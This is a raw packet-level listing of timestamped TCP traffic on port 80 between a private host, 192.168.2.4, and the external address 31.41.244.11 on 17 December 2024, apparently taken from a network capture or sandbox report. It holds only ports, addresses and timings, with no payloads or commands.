Dec 17, 2024 22:06:25.905886889 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.905895948 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.905916929 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.905930042 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.905934095 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.905960083 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.905960083 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.905987024 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.906373024 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.906388998 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.906415939 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.906433105 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.906574011 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.906589985 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.906614065 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.906626940 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.906631947 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.906641960 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.906671047 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.906688929 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.906694889 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.906709909 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.906733990 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.906749010 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.906775951 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.906819105 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.907537937 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.907591105 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.907605886 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.907622099 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.907622099 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.907634020 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.907644987 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.907649994 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.907670021 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.907679081 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.907689095 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.907696009 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.907735109 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.907735109 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.907735109 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.907769918 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.908487082 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.908525944 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.908531904 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.908540964 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.908571005 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.908580065 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.908595085 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.908601046 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.908615112 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.908629894 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.908632040 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.908647060 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.908674955 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.908688068 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.908688068 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.908745050 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.909281015 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.909296989 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.909312010 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.909332037 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.909347057 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.909365892 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.909528017 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.909544945 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.909578085 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.909606934 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.909660101 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.909674883 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.909704924 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.909710884 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.909717083 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.909725904 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.909754992 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.909765005 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.910485983 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.910501957 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.910532951 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.910542011 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.910547972 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.910562992 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.910590887 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.910595894 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.910605907 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.910619974 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.910630941 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.910630941 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.910634995 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.910661936 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.910661936 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.910676003 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.910696983 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.910722017 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.911509991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.911567926 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.911602020 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.911617994 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.911624908 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.911647081 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.911655903 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.911669016 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.911670923 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.911698103 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.911703110 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.911716938 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.911717892 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.911740065 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.911763906 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.912308931 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.912369967 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.912494898 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.912533045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.912544012 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.912548065 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.912580967 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.912592888 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.912602901 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.912607908 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.912633896 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.912643909 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.912652969 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.912659883 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.912687063 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.912704945 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.913394928 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.913413048 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.913459063 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.913481951 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.913558006 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.913574934 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.913605928 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.913613081 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.913629055 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.913641930 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.913666964 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.913670063 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.913681984 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.913712978 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.913747072 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.914377928 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.914393902 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.914422989 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.914443970 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.934571981 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.934705973 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.934724092 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.934772015 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.010929108 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.010951042 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.011079073 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.011356115 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.011408091 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.011431932 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.011481047 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.012276888 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.012324095 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.012348890 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.012448072 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.013288975 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.013336897 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.013457060 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.013526917 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.015074968 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.015094042 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.015127897 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.015156984 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.015547037 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.015657902 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.015657902 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.015708923 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.016316891 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.016366959 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.016402960 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.016444921 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.017333984 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.017391920 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.017494917 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.017571926 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.018376112 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.018425941 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.018477917 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.018517017 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.019382000 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.019431114 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.019505978 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.019546032 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.020330906 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.020348072 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.020387888 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.020406961 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.021269083 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.021313906 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.021409035 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.021454096 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.022281885 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.022326946 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.022599936 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.022635937 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.023483992 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.023560047 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.023571968 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.023607016 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.024316072 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.024331093 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.024360895 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.024382114 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.025363922 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.025413036 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.025444031 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.025489092 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.026299953 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.026349068 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.026362896 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.026402950 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.027705908 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.027720928 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.027754068 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.027777910 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.028367043 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.028394938 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.028412104 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.028424978 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.029454947 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.029508114 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.029571056 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.029608011 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.030363083 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.030407906 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.030488968 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.030533075 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.031286001 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.031335115 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.031342030 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.031378984 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.032361031 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.032404900 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.032483101 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.032521963 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.033466101 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.033514023 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.033775091 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.033814907 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.034311056 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.034372091 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.034456015 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.034497976 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.035474062 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.035546064 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.035537958 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.035581112 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.036365986 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.036427021 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.036695957 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.036740065 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.037612915 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.037635088 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.037657022 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.037674904 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.038424015 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.038472891 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.038949013 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.039000988 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.039536953 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.039583921 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.039628029 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.039668083 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.040395021 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.040412903 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.040440083 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.040460110 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.041321993 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.041374922 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.041965961 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.042018890 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.042388916 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.042402983 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.042433977 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.042457104 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.043401957 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.043416977 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.043446064 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.043472052 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.044372082 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.044436932 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.044693947 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.044735909 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.045382023 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.045425892 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.045448065 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.045484066 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.046345949 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.046375990 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.046387911 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.046406984 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.047566891 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.047583103 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.047609091 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.047626972 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.048357964 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.048383951 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.048401117 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.048418045 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.049333096 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.049379110 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.049464941 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.049504042 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.050333977 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.050388098 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.050438881 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.050478935 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.051345110 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.051390886 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.051590919 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.051629066 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.052328110 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.052371025 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.052428961 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.052470922 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.053457022 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.053471088 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.053503990 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.053541899 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.054426908 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.054441929 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.054474115 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.054533958 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.055397987 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.055452108 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.055510998 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.055548906 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.056394100 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.056407928 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.056448936 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.057403088 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.057457924 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.057842016 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.057887077 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.058413029 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.058460951 CET	49793	80	192.168.2.4	31.41.244.11
